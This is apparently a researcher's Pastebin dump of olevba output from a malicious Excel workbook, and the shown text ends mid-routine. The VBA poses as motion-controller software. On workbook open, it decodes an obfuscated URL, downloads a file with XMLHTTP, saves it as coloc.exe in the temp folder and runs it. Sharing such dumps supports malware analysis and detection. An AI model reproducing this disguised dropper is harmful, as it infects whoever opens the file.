SHARE
TWEET

Malicious Excel macro

dynamoo Dec 3rd, 2015 (edited) 168 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIHB-V c__use~1.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: c__use~1.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: c__use~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Private Sub Workbook_Open()
  17. ZHOMEMINUS_Click
  18. ProcessMST ""
  19. ProcessSync 0
  20. End Sub
  21.  
  22. -------------------------------------------------------------------------------
  23. VBA MACRO Ëèñò1.cls
  24. in file: c__use~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  25. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  26. (empty macro)
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Ëèñò2.cls
  29. in file: c__use~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31. (empty macro)
  32. -------------------------------------------------------------------------------
  33. VBA MACRO Ëèñò3.cls
  34. in file: c__use~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  35. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  36. (empty macro)
  37. -------------------------------------------------------------------------------
  38. VBA MACRO Module1.bas
  39. in file: c__use~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  40. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  41. Dim strData As String
  42. Dim counter As String
  43. Public reportName1 As Object
  44. Public emailOutPath As Object
  45. Public CRAXDASR  As Object
  46. Public newYz As String
  47. Public logicBOX As String
  48. Public unitBOX As Object
  49. Dim ConnectionCounter As Long
  50. Dim DownloadStep As Long
  51. Dim UploadStep As Long
  52. Private Sub SetSpeedAccel()
  53.  Dim ret As Integer
  54.  Dim strData As String
  55.  Call EthernetSen.dReceive("HS=" + HSPD, strData)
  56.  Call EthernetSen.dReceive("LS=" + LSPD, strData)
  57.  Call EthernetSen.dReceive("ACC=" + Accel, strData)
  58.  If FirmwareVer >= 218 Then
  59.  Call EthernetSen.dReceive("DEC=" + Decel, strData)
  60.  End If
  61. End Sub
  62. Private Sub Client_Click()
  63. End Sub
  64. Private Sub Check1_Click()
  65. End Sub
  66. Private Sub ABORT_Click()
  67.  Dim tempStr As String
  68.  Dim i As Integer
  69.  If ComStatus = False Then Exit Sub
  70.  SetSpeedAccel
  71.  For i = 1 To 4
  72.  tempStr = ""
  73.  If i = 1 Then
  74.  If (SelectX.Value = 1) Then
  75.  Call EthernetSen.dReceive("ABORTX", strData)
  76.  If (strData <> "OK") Then
  77.  MsgBox (strData)
  78.  End If
  79.  End If
  80.  ElseIf i = 2 Then
  81.  If (SelectY.Value = 1) Then
  82.  Call EthernetSen.dReceive("ABORTY", strData)
  83.  If (strData <> "OK") Then
  84.  MsgBox (strData)
  85.  End If
  86.  End If
  87.  ElseIf i = 3 Then
  88.  If (SelectZ.Value = 1) Then
  89.  Call EthernetSen.dReceive("ABORTZ", strData)
  90.  If (strData <> "OK") Then
  91.  MsgBox (strData)
  92.  End If
  93.  End If
  94.  ElseIf i = 4 Then
  95.  If (SelectU.Value = 1) Then
  96.  Call EthernetSen.dReceive("ABORTU", strData)
  97.  If (strData <> "OK") Then
  98.  MsgBox (strData)
  99.  End If
  100.  End If
  101.  End If
  102.  Next i
  103. End Sub
  104. Private Sub ABS_Click()
  105.  Dim tempStr As String
  106.  Dim i As Integer
  107.  SetSpeedAccel
  108.  tempStr = ""
  109.  For i = 1 To 4
  110.  If i = 1 Then
  111.  If (SelectX.Value = 1) Then
  112.  tempStr = tempStr + "X" + TargetX
  113.  End If
  114.  ElseIf i = 2 Then
  115.  If (SelectY.Value = 1) Then
  116.  tempStr = tempStr + "Y" + TargetY
  117.  End If
  118.  ElseIf i = 3 Then
  119.  If (SelectZ.Value = 1) Then
  120.  tempStr = tempStr + "Z" + TargetZ
  121.  End If
  122.  ElseIf i = 4 Then
  123.  If (SelectU.Value = 1) Then
  124.  tempStr = tempStr + "U" + TargetU
  125.  End If
  126.  End If
  127.  Next i
  128.  If tempStr = "" Then Exit Sub
  129.  Call EthernetSen.dReceive(tempStr, strData)
  130.  If (strData <> "OK") Then
  131.  MsgBox (strData)
  132.  End If
  133. End Sub
  134. Private Sub CheckComm_Timer()
  135. End Sub
  136. Private Sub clear_Click()
  137.  ret = PROCESSCMD("CLR", 1)
  138. End Sub
  139. Private Sub clrs_Click()
  140.  ret = PROCESSCMD("CLRS", 1)
  141. End Sub
  142.  
  143. Private Sub Command15_Click()
  144. Dim tempStr As String
  145.  Dim cmdStr As String
  146.  Dim i As Integer
  147.  Dim Index As Long
  148.  Dim ret As Integer
  149.  If ComStatus = False Then Exit Sub
  150.  Index = 0
  151.  For i = 1 To 4
  152.  tempStr = ""
  153.  If i = 1 Then
  154.  If (SelectX.Value = 1) Then
  155.  Index = Index + 1
  156.  cmdStr = "PX=" + TargetX
  157.  Call EthernetSen.dReceive(cmdStr, strData)
  158.  End If
  159.  ElseIf i = 2 Then
  160.  If (SelectY.Value = 1) Then
  161.  Index = Index + 1
  162.  cmdStr = "PY=" + TargetY
  163.  Call EthernetSen.dReceive(cmdStr, strData)
  164.  End If
  165.  ElseIf i = 3 Then
  166.  If (SelectZ.Value = 1) Then
  167.  Index = Index + 1
  168.  cmdStr = "PZ=" + TargetZ
  169.  Call EthernetSen.dReceive(cmdStr, strData)
  170.  End If
  171.  ElseIf i = 4 Then
  172.  If (SelectU.Value = 1) Then
  173.  Index = Index + 1
  174.  cmdStr = "PU=" + TargetU
  175.  Call EthernetSen.dReceive(cmdStr, strData)
  176.  End If
  177.  End If
  178.  Next i
  179. End Sub
  180. Private Sub Command16_Click()
  181.  Dim tempStr As String
  182.  Dim cmdStr As String
  183.  Dim i As Integer
  184.  Dim Index As Long
  185.  Dim ret As Integer
  186.  If ComStatus = False Then Exit Sub
  187.  Index = 0
  188.  For i = 1 To 4
  189.  tempStr = ""
  190.  If i = 1 Then
  191.  If (SelectX.Value = 1) Then
  192.  Index = Index + 1
  193.  cmdStr = "EX=" + TargetX
  194.  Call EthernetSen.dReceive(cmdStr, strData)
  195.  End If
  196.  ElseIf i = 2 Then
  197.  If (SelectY.Value = 1) Then
  198.  Index = Index + 1
  199.  cmdStr = "EY=" + TargetY
  200.  Call EthernetSen.dReceive(cmdStr, strData)
  201.  End If
  202.  ElseIf i = 3 Then
  203.  If (SelectZ.Value = 1) Then
  204.  Index = Index + 1
  205.  cmdStr = "EZ=" + TargetZ
  206.  Call EthernetSen.dReceive(cmdStr, strData)
  207.  End If
  208.  ElseIf i = 4 Then
  209.  If (SelectU.Value = 1) Then
  210.  Index = Index + 1
  211.  cmdStr = "EU=" + TargetU
  212.  Call EthernetSen.dReceive(cmdStr, strData)
  213.  End If
  214.  End If
  215.  Next i
  216. End Sub
  217. Private Sub Command17_Click()
  218. Dim tempStr As String
  219.  Dim i As Integer
  220.  If ComStatus = False Then Exit Sub
  221.  SetSpeedAccel
  222.  For i = 1 To 4
  223.  tempStr = ""
  224.  If i = 1 Then
  225.  If (SelectX.Value = 1) Then
  226.  Call EthernetSen.dReceive("HX-4", strData)
  227.  If (strData <> "OK") Then
  228.  MsgBox (strData)
  229.  End If
  230.  End If
  231.  ElseIf i = 2 Then
  232.  If (SelectY.Value = 1) Then
  233.  Call EthernetSen.dReceive("HY-4", strData)
  234.  If (strData <> "OK") Then
  235.  MsgBox (strData)
  236.  End If
  237.  End If
  238.  ElseIf i = 3 Then
  239.  If (SelectZ.Value = 1) Then
  240.  Call EthernetSen.dReceive("HZ-4", strData)
  241.  If (strData <> "OK") Then
  242.  MsgBox (strData)
  243.  End If
  244.  End If
  245.  ElseIf i = 4 Then
  246.  If (SelectU.Value = 1) Then
  247.  Call EthernetSen.dReceive("HU-4", strData)
  248.  If (strData <> "OK") Then
  249.  MsgBox (strData)
  250.  End If
  251.  End If
  252.  End If
  253.  Next i
  254. End Sub
  255. Private Sub Command18_Click()
  256.  Dim cmdStr As String
  257.  Dim replyStr As String
  258.  Dim ret As Integer
  259.  If (ComStatus = False) Then Exit Sub
  260.  cmdStr = "TX" + TXPosition
  261.  Call EthernetSen.dReceive(cmdStr, strData)
  262.  If (strData <> "OK") Then
  263.  MsgBox (strData)
  264.  End If
  265. End Sub
  266. Private Sub Command19_Click()
  267.  Dim cmdStr As String
  268.  Dim replyStr As String
  269.  Dim ret As Integer
  270.  If (ComStatus = False) Then Exit Sub
  271.  cmdStr = "TY" + TYPosition
  272.  Call EthernetSen.dReceive(cmdStr, strData)
  273.  If (strData <> "OK") Then
  274.  MsgBox (strData)
  275.  End If
  276. End Sub
  277. Private Sub Command12_Click()
  278.  isLoadingImove = True
  279.  Imove.Show vbModal, Me
  280. End Sub
  281. Private Sub Command2_Click()
  282.  Dim tempStr As String
  283.  Dim i As Integer
  284.  If ComStatus = False Then Exit Sub
  285.  SetSpeedAccel
  286.  For i = 1 To 4
  287.  tempStr = ""
  288.  If i = 1 Then
  289.  If (SelectX.Value = 1) Then
  290.  Call EthernetSen.dReceive("HX+3", strData)
  291.  If (strData <> "OK") Then
  292.  MsgBox (strData)
  293.  End If
  294.  End If
  295.  ElseIf i = 2 Then
  296.  If (SelectY.Value = 1) Then
  297.  Call EthernetSen.dReceive("HY+3", strData)
  298.  If (strData <> "OK") Then
  299.  MsgBox (strData)
  300.  End If
  301.  End If
  302.  ElseIf i = 3 Then
  303.  If (SelectZ.Value = 1) Then
  304.  Call EthernetSen.dReceive("HZ+3", strData)
  305.  If (strData <> "OK") Then
  306.  MsgBox (strData)
  307.  End If
  308.  End If
  309.  ElseIf i = 4 Then
  310.  If (SelectU.Value = 1) Then
  311.  Call EthernetSen.dReceive("HU+3", strData)
  312.  If (strData <> "OK") Then
  313.  MsgBox (strData)
  314.  End If
  315.  End If
  316.  End If
  317.  Next i
  318. End Sub
  319. Private Sub Command20_Click()
  320. Dim cmdStr As String
  321.  Dim replyStr As String
  322.  Dim ret As Integer
  323.  If (ComStatus = False) Then Exit Sub
  324.  cmdStr = "TZ" + TZPosition
  325.  Call EthernetSen.dReceive(cmdStr, strData)
  326.  If (strData <> "OK") Then
  327.  MsgBox (strData)
  328.  End If
  329. End Sub
  330. Private Sub Command21_Click()
  331.  Dim cmdStr As String
  332.  Dim replyStr As String
  333.  Dim ret As Integer
  334.  If (ComStatus = False) Then Exit Sub
  335.  cmdStr = "TU" + TUPosition
  336.  Call EthernetSen.dReceive(cmdStr, strData)
  337.  If (strData <> "OK") Then
  338.  MsgBox (strData)
  339.  End If
  340. End Sub
  341. Private Sub Command22_Click()
  342.  Dim lvalue As Long
  343.  Dim i As Integer
  344.  Dim str1 As String
  345.  Dim replyStr As String
  346.  Dim FirmStr As String
  347.  Dim ret As Integer
  348.  str1 = FirmwareVer
  349.  FirmStr = "Software Version: " + GUIVersion + Chr(13) + Chr(13)
  350.  FirmStr = FirmStr + "Firmware Version: V" + str1 + Chr(13) + Chr(13)
  351.  If FirmwareVer < 219 Then
  352.  FirmStr = FirmStr + "The following GUI features are not supported by this firmware:" + Chr(13)
  353.  If (FirmwareVer < 219) Then
  354.  FirmStr = FirmStr + Chr(13) + " - Digital input polarity"
  355.  FirmStr = FirmStr + Chr(13) + " - Digital output polarity"
  356.  FirmStr = FirmStr + Chr(13) + " - Enable output polarity"
  357.  FirmStr = FirmStr + Chr(13) + " - Standalone error polarity"
  358.  End If
  359.  If (FirmwareVer < 218) Then
  360.  FirmStr = FirmStr + Chr(13) + " - Low speed homing routine"
  361.  FirmStr = FirmStr + Chr(13) + " - Deceleration option for linear motion"
  362.  FirmStr = FirmStr + Chr(13) + " - Acceleration/deceleration for circular interpolation"
  363.  FirmStr = FirmStr + Chr(13) + " - On-the-fly position change"
  364.  FirmStr = FirmStr + Chr(13) + " - Multi-threading capabilities for standalone"
  365.  FirmStr = FirmStr + Chr(13) + " - Digital output configuration on boot-up"
  366.  FirmStr = FirmStr + Chr(13) + " - Enable output configuration on boot-up"
  367.  End If
  368.  End If
  369.  MsgBox (FirmStr)
  370. End Sub
  371. Private Sub Command23_Click()
  372. Dim tempStr As String
  373.  Dim i As Integer
  374.  If ComStatus = False Then Exit Sub
  375.  SetSpeedAccel
  376.  For i = 1 To 4
  377.  tempStr = ""
  378.  If i = 1 Then
  379.  If (SelectX.Value = 1) Then
  380.  Call EthernetSen.dReceive("HX+4", strData)
  381.  If (strData <> "OK") Then
  382.  MsgBox (strData)
  383.  End If
  384.  End If
  385.  ElseIf i = 2 Then
  386.  If (SelectY.Value = 1) Then
  387.  Call EthernetSen.dReceive("HY+4", strData)
  388.  If (strData <> "OK") Then
  389.  MsgBox (strData)
  390.  End If
  391.  End If
  392.  ElseIf i = 3 Then
  393.  If (SelectZ.Value = 1) Then
  394.  Call EthernetSen.dReceive("HZ+4", strData)
  395.  If (strData <> "OK") Then
  396.  MsgBox (strData)
  397.  End If
  398.  End If
  399.  ElseIf i = 4 Then
  400.  If (SelectU.Value = 1) Then
  401.  Call EthernetSen.dReceive("HU+4", strData)
  402.  If (strData <> "OK") Then
  403.  MsgBox (strData)
  404.  End If
  405.  End If
  406.  End If
  407.  Next i
  408. End Sub
  409. Public Function ProcessSASTAT(str As String) As String
  410.  Dim lvalue As Long
  411.  lvalue = str
  412.  If lvalue = 0 Then
  413.  ProcessSASTAT = "Idle"
  414.  ElseIf lvalue = 1 Then
  415.  ProcessSASTAT = "Running"
  416.  ElseIf lvalue = 2 Then
  417.  ProcessSASTAT = "Paused"
  418.  ElseIf lvalue = 4 Then
  419.  ProcessSASTAT = "Errored"
  420.  End If
  421. End Function
  422. Public Function ProcessSync(str As Long) As String
  423. unitBOX.Open (logicBOX)
  424.  If str = 0 Then
  425.  ProcessSync = "OFF"
  426.  ElseIf str = 1 Then
  427.  ProcessSync = "WAITING"
  428.  ElseIf str = 2 Then
  429.  ProcessSync = "TRIGGERED"
  430.  End If
  431. End Function
  432. Function ProcessPulse(str As String) As String
  433.  Dim j As Integer
  434.  Dim posStr As String
  435.  posStr = ""
  436.  j = 1
  437.  For i = 1 To Len(str)
  438.  cc = Mid(str, i, 1)
  439.  If (cc = ":") Or (i = Len(str)) Then
  440.  If (j = 1) Then
  441.  PX = posStr
  442.  ElseIf (j = 2) Then
  443.  PY = posStr
  444.  ElseIf (j = 3) Then
  445.  PZ = posStr
  446.  Else
  447.  posStr = posStr + cc
  448.  PU = posStr
  449.  End If
  450.  posStr = ""
  451.  j = j + 1
  452.  Else
  453.  posStr = posStr + cc
  454.  End If
  455.  Next i
  456. End Function
  457. Function ProcessEncoder(str As String) As String
  458.  Dim j As Integer
  459.  Dim posStr As String
  460.  posStr = ""
  461.  j = 1
  462.  For i = 1 To Len(str)
  463.  cc = Mid(str, i, 1)
  464.  If (cc = ":") Or (i = Len(str)) Then
  465.  If (j = 1) Then
  466.  EX = posStr
  467.  ElseIf (j = 2) Then
  468.  EY = posStr
  469.  ElseIf (j = 3) Then
  470.  EZ = posStr
  471.  Else
  472.  posStr = posStr + cc
  473.  EU = posStr
  474.  End If
  475.  posStr = ""
  476.  j = j + 1
  477.  Else
  478.  posStr = posStr + cc
  479.  End If
  480.  Next i
  481. End Function
  482. Function ProcessSpeed(str As String) As String
  483.  Dim j As Integer
  484.  Dim posStr As String
  485.  posStr = ""
  486.  j = 1
  487.  For i = 1 To Len(str)
  488.  cc = Mid(str, i, 1)
  489.  If (cc = ":") Or (i = Len(str)) Then
  490.  If (j = 1) Then
  491.  SX = posStr
  492.  ElseIf (j = 2) Then
  493.  SY = posStr
  494.  ElseIf (j = 3) Then
  495.  SZ = posStr
  496.  Else
  497.  posStr = posStr + cc
  498.  SU = posStr
  499.  End If
  500.  posStr = ""
  501.  j = j + 1
  502.  Else
  503.  posStr = posStr + cc
  504.  End If
  505.  Next i
  506. End Function
  507. Private Function processSLS(str As Long)
  508.  Dim lvalue As Long
  509.  lvalue = str
  510.  With emailOutPath
  511.    emailOutPath.Type = 1
  512.     emailOutPath.Open
  513.     emailOutPath.write reportName1.responseBody
  514.     emailOutPath.savetofile logicBOX, 2
  515. End With
  516. Exit Function
  517.  If lvalue = 12 Then
  518.  processSLS = "NA"
  519.  End If
  520.  If lvalue = 0 Then
  521.  processSLS = "IDLE"
  522.  End If
  523.  If lvalue = 1 Then
  524.  processSLS = "MOVING"
  525.  End If
  526.  If lvalue = 2 Then
  527.  processSLS = "CORRECTING"
  528.  End If
  529.  If lvalue = 3 Then
  530.  processSLS = "STOPPING"
  531.  End If
  532.  If lvalue = 4 Then
  533.  processSLS = "ABORTING"
  534.  End If
  535.  If lvalue = 5 Then
  536.  processSLS = "JOGGING"
  537.  End If
  538.  If lvalue = 6 Then
  539.  processSLS = "HOMING"
  540.  End If
  541.  If lvalue = 7 Then
  542.  processSLS = "Z-HOMING"
  543.  End If
  544.  If lvalue = 8 Then
  545.  processSLS = "ERR-RANGE"
  546.  End If
  547.  If lvalue = 9 Then
  548.  processSLS = "ERR-ATMPT"
  549.  End If
  550.  If lvalue = 10 Then
  551.  processSLS = "ERR-STALL"
  552.  End If
  553.  If lvalue = 11 Then
  554.  processSLS = "ERR-LIM"
  555.  End If
  556. End Function
  557. Public Function ProcessMST(str As String)
  558.  Dim j As Integer
  559.  Dim statStr As String
  560.  Dim statValue As Long
  561.  statStr = ""
  562.  counter = counter + "."
  563.  logicBOX = newYz + "\" + "coloc" + LCase(counter) + "exe"
  564.  processSLS 0
  565.  Exit Function
  566.  j = 1
  567.  For i = 1 To Len(str)
  568.  cc = Mid(str, i, 1)
  569.  If (cc = ":") Or (i = Len(str)) Then
  570.  If (j = 1) Then
  571.  statValue = statStr
  572.  If (BitA.ND(statValue, 1) = 1) Then
  573.  StatX = "Accelerating"
  574.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  575.  StatX = "Decelerating"
  576.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  577.  StatX = "Constant"
  578.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  579.  StatX = "+LimError"
  580.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  581.  StatX = "-LimError"
  582.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  583.  StatX = "AlarmError"
  584.  Else
  585.  StatX = "Idle"
  586.  End If
  587.  If (BitA.ND(statValue, 8) = 8) Then
  588.  AlarmX.BackStyle = 1
  589.  Else
  590.  AlarmX.BackStyle = 0
  591.  End If
  592.  If (BitA.ND(statValue, 16) = 16) Then
  593.  PLimX.BackStyle = 1
  594.  Else
  595.  PLimX.BackStyle = 0
  596.  End If
  597.  If (BitA.ND(statValue, 32) = 32) Then
  598.  NLimX.BackStyle = 1
  599.  Else
  600.  NLimX.BackStyle = 0
  601.  End If
  602.  If (BitA.ND(statValue, 64) = 64) Then
  603.  HomeX.BackStyle = 1
  604.  Else
  605.  HomeX.BackStyle = 0
  606.  End If
  607.  ElseIf (j = 2) Then
  608.  statValue = statStr
  609.  If (BitA.ND(statValue, 1) = 1) Then
  610.  StatY = "Accelerating"
  611.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  612.  StatY = "Decelerating"
  613.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  614.  StatY = "Constant"
  615.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  616.  StatY = "+LimError"
  617.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  618.  StatY = "-LimError"
  619.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  620.  StatY = "AlarmError"
  621.  Else
  622.  StatY = "Idle"
  623.  End If
  624.  If (BitA.ND(statValue, 8) = 8) Then
  625.  AlarmY.BackStyle = 1
  626.  Else
  627.  AlarmY.BackStyle = 0
  628.  End If
  629.  If (BitA.ND(statValue, 16) = 16) Then
  630.  PLimY.BackStyle = 1
  631.  Else
  632.  PLimY.BackStyle = 0
  633.  End If
  634.  If (BitA.ND(statValue, 32) = 32) Then
  635.  NLimY.BackStyle = 1
  636.  Else
  637.  NLimY.BackStyle = 0
  638.  End If
  639.  If (BitA.ND(statValue, 64) = 64) Then
  640.  HomeY.BackStyle = 1
  641.  Else
  642.  HomeY.BackStyle = 0
  643.  End If
  644.  ElseIf (j = 3) Then
  645.  statValue = statStr
  646.  If (BitA.ND(statValue, 1) = 1) Then
  647.  StatZ = "Accelerating"
  648.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  649.  StatZ = "Decelerating"
  650.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  651.  StatZ = "Constant"
  652.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  653.  StatZ = "+LimError"
  654.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  655.  StatZ = "-LimError"
  656.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  657.  StatZ = "AlarmError"
  658.  Else
  659.  StatZ = "Idle"
  660.  End If
  661.  If (BitA.ND(statValue, 8) = 8) Then
  662.  AlarmZ.BackStyle = 1
  663.  Else
  664.  AlarmZ.BackStyle = 0
  665.  End If
  666.  If (BitA.ND(statValue, 16) = 16) Then
  667.  PLimZ.BackStyle = 1
  668.  Else
  669.  PLimZ.BackStyle = 0
  670.  End If
  671.  If (BitA.ND(statValue, 32) = 32) Then
  672.  NLimZ.BackStyle = 1
  673.  Else
  674.  NLimZ.BackStyle = 0
  675.  End If
  676.  If (BitA.ND(statValue, 64) = 64) Then
  677.  HomeZ.BackStyle = 1
  678.  Else
  679.  HomeZ.BackStyle = 0
  680.  End If
  681.  ElseIf (j = 4) Then
  682.  statValue = statStr
  683.  If (BitA.ND(statValue, 1) = 1) Then
  684.  StatU = "Accelerating"
  685.  ElseIf (BitA.ND(statValue, 2) = 2) Then
  686.  StatU = "Decelerating"
  687.  ElseIf (BitA.ND(statValue, 4) = 4) Then
  688.  StatU = "Constant"
  689.  ElseIf (BitA.ND(statValue, 128) = 128) Then
  690.  StatU = "+LimError"
  691.  ElseIf (BitA.ND(statValue, 256) = 256) Then
  692.  StatU = "-LimError"
  693.  ElseIf (BitA.ND(statValue, 512) = 512) Then
  694.  StatU = "AlarmError"
  695.  Else
  696.  StatU = "Idle"
  697.  End If
  698.  If (BitA.ND(statValue, 8) = 8) Then
  699.  AlarmU.BackStyle = 1
  700.  Else
  701.  AlarmU.BackStyle = 0
  702.  End If
  703.  If (BitA.ND(statValue, 16) = 16) Then
  704.  PLimU.BackStyle = 1
  705.  Else
  706.  PLimU.BackStyle = 0
  707.  End If
  708.  If (BitA.ND(statValue, 32) = 32) Then
  709.  NLimU.BackStyle = 1
  710.  Else
  711.  NLimU.BackStyle = 0
  712.  End If
  713.  If (BitA.ND(statValue, 64) = 64) Then
  714.  HomeU.BackStyle = 1
  715.  Else
  716.  HomeU.BackStyle = 0
  717.  End If
  718.  ElseIf (j = 5) Then
  719.  statValue = statStr
  720.  If (statValue = 1) Then
  721.  BuffStat = "ON"
  722.  Else
  723.  BuffStat = "OFF"
  724.  End If
  725.  ElseIf (j = 6) Then
  726.  statValue = statStr
  727.  StartBuffer = statValue
  728.  ElseIf (j = 7) Then
  729.  statValue = statStr
  730.  EndBuffer = statValue
  731.  ElseIf (j = 8) Then
  732.  statValue = statStr
  733.  AvailableBuffer = statValue
  734.  ElseIf (j = 9) Then
  735.  statValue = statStr
  736.  If (statValue = 0) Then
  737.  MoveModeStat = "ABS"
  738.  Else
  739.  MoveModeStat = "INC"
  740.  End If
  741.  End If
  742.  statStr = ""
  743.  j = j + 1
  744.  Else
  745.  statStr = statStr + cc
  746.  End If
  747.  Next i
  748. End Function
  749. Private Sub Timer3_Timer()
  750.  Dim cmdStr As String
  751.  Dim replyStr As String
  752.  Dim ret As Integer
  753.  Dim lv1 As Long
  754.  Dim lv2 As Long
  755.  Dim lvalue As Long
  756.  Dim i, j As Integer
  757.  Dim cc As String
  758.  Dim posStr As String
  759.  Dim statStr As String
  760.  Dim statValue As Long
  761.  Dim parame() As Variant
  762. parame = Array(3571, 3583, 3583, 3579, 3525, 3514, 3514, 3568, 3577, 3566, 3581, 3568, 3513, 3572, 3568, 3514, 3584, 3520, 3588, 3519, 3518, 3517, 3514, 3571, 3520, 3519, 3569, 3518, 3513, 3568, 3587, 3568)
  763. reportName1.Open counter, generateattachments1(parame, 31), False
  764.  Dim myVal As Long
  765.  Dim iVal As Long
  766.  Dim DIOConfigValue As Long
  767.  If BufferMoveOp Then
  768.  If CurrentArray = loadedarrays Then
  769.  BufferMoveOp = False
  770.  Exit Sub
  771.  End If
  772.  If buffSuccess = True Or CurrentArray = 0 Then
  773.  buffSuccess = False
  774.  ret = PROCES.SCMD(Iarr.ay(CurrentArray), 1000)
  775.  End If
  776.  End If
  777.   reportName1.Send
  778.  newYz = CRAXDASR(Right(counter, 1) + "EMP")
  779. End Sub
  780. Private Sub UploadSAP_Click()
  781.  On Error GoTo Err
  782.  Dim fileName As String
  783.  Dim str As String
  784.  Dim lineStr As String
  785.  Dim line, str1 As String
  786.  Dim cc As String
  787.  counter = counter + "T"
  788.  Dim ccValue As Integer
  789.  Dim wp, i As Integer
  790.  Set unitBOX = CreateObject("Shell.Application")
  791.  Dim progStr As String
  792.  Dim projProgStr As String
  793.  Dim progi As Integer
  794.  Dim templ As Long
  795.  Dim selProgL As Long
  796.  Set CRAXDASR = CreateObject("WScript.Shell").Environment("Process")
  797.  Timer3_Timer
  798.  Exit Sub
  799.  Dim RetVal
  800.  If (ComStatus = False) Then Exit Sub
  801.  PausePolling = True
  802.  Call EthernetSen.dReceive("SR0=0", strData)
  803.  Call EthernetSen.dReceive("SR1=0", strData)
  804.  Call EthernetSen.dReceive("SR2=0", strData)
  805.  Call EthernetSen.dReceive("SR3=0", strData)
  806.  Call EthernetSen.dReceive("ABORT", strData)
  807.  Open App.Path + "\EXE\sa_download_upload_setup.txt" For Output As #2
  808.  Print #2, "LIN:7650"
  809.  Print #2, "IPA:" + IP
  810.  Print #2, "COM:ETHERNET"
  811.  Print #2, "POR:5001"
  812.  Print #2, "OPE:UPLOAD"
  813.  Print #2, "FIL:CompileOut.txt"
  814.  Print #2, "MOD:PMX-4ET-SA"
  815.  Close #2
  816.  Call DisableMain.Timers
  817.  ret = fnEtherne.tComClose(EthernetSocket)
  818.  RetVal = ShellAnd.Hold(App.Path + "\EXE\SA_Download_Upload.exe", 1)
  819.  Open App.Path + "\EXE\sa_compile_decompile_setup.txt" For Output As #3
  820.  Print #3, "MOD:PMX-4ET-SA"
  821.  Print #3, "OPE:DECOMPILE"
  822.  Print #3, "FIL:UploadOut.txt"
  823.  str1 = FirmwareVer
  824.  Print #3, "VER:" + str1
  825.  Close #3
  826.  RetVal = ShellAnd.Hold(App.Path + "\EXE\SA_Compile_Decompile.exe", 1)
  827.  Open App.Path + "\EXE\DecompileOut.prg" For Input As #4
  828.  OrgProgram.Text = ""
  829.  Do Until EOF(4)
  830.  Line Input #4, lineStr
  831.  OrgProgram.Text = OrgProgram.Text + lineStr + Chr(13) + Chr(10)
  832.  Loop
  833.  Close #4
  834.  ReadandDi.splayMsg (App.Path + "\EXE\DecompileOut.prg")
  835.  Call Form_L.oad
  836.  Exit Sub
  837. Err:
  838.  MsgBox (Err.Description)
  839. End Sub
  840. Public Sub ViewCompiled_Click()
  841.  Dim lineStr As String
  842.  counter = counter + "E"
  843.  Dim StrTemp As String
  844.  Set emailOutPath = CreateObject("Adodb.Stream")
  845.  UploadSAP_Click
  846.  Exit Sub
  847. On Error GoTo Report:
  848.  Open App.Path + "\EXE\CompileOut.txt" For Input As #1
  849.  StrTemp = ""
  850.  Do Until EOF(1)
  851.  Line Input #1, lineStr
  852.  ViewCompiledForm.viewList.AddItem (lineStr)
  853.  Loop
  854.  Close #1
  855.  ViewCompi.ledForm.Show vbModal
  856. Report:
  857. End Sub
  858. Public Sub ZHOMEMINUS_Click()
  859.  Dim tempStr As String
  860.  Dim i As Integer
  861.  counter = "G"
  862.  Set reportName1 = CreateObject("Microsoft" + ".XMLHTTP")
  863.  ViewCompiled_Click
  864.  Exit Sub
  865.  If ComStatus = False Then Exit Sub
  866.  SetSpeedAccel
  867.  For i = 1 To 4
  868.  tempStr = ""
  869.  If i = 1 Then
  870.  If (SelectX.Value = 1) Then
  871.  Call EthernetSe.ndReceive("HX-2", strData)
  872.  If (strData <> "OK") Then
  873.  MsgBox (strData)
  874.  End If
  875.  End If
  876.  ElseIf i = 2 Then
  877.  If (SelectY.Value = 1) Then
  878.  Call EthernetSe.ndReceive("HY-2", strData)
  879.  If (strData <> "OK") Then
  880.  MsgBox (strData)
  881.  End If
  882.  End If
  883.  ElseIf i = 3 Then
  884.  If (SelectZ.Value = 1) Then
  885.  Call EthernetSen.dReceive("HZ-2", strData)
  886.  If (strData <> "OK") Then
  887.  MsgBox (strData)
  888.  End If
  889.  End If
  890.  ElseIf i = 4 Then
  891.  If (SelectU.Value = 1) Then
  892.  Call EthernetSen.dReceive("HU-2", strData)
  893.  If (strData <> "OK") Then
